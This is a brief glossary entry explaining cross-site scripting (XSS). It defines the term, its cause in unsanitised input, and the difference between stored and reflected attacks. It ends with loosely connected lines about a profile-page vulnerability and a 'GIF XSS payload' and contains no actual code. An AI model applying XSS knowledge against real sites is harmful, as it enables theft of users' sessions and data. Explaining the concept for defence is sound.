XSS

Short for Cross Site Scripting. A type of web based security vulnerability using client side scripts such as Javascript.

XSS takes place as a consequence of improper input sanitization. When the input provided by the user is not properly sanitized, an ill willed user may insert scripting code into a web page, which in turn will be executed by the visitor's browser. There are 2 kinds of XSS attacks: stored or reflected. Stored would mean that the injected code is permanently stored in the page, such as in a comment. Reflected would mean that it only appears once when the payload (i.e. the malicious input) is part of the request, maybe in parameters or cookies.

We have discovered an XSS vulnerability in the user profile view.

GIF XSS Payload

It is an XSS attack disguised in a GIF image.

John looked at the GIF XSS Payload suspiciously as if it was a trojan horse.
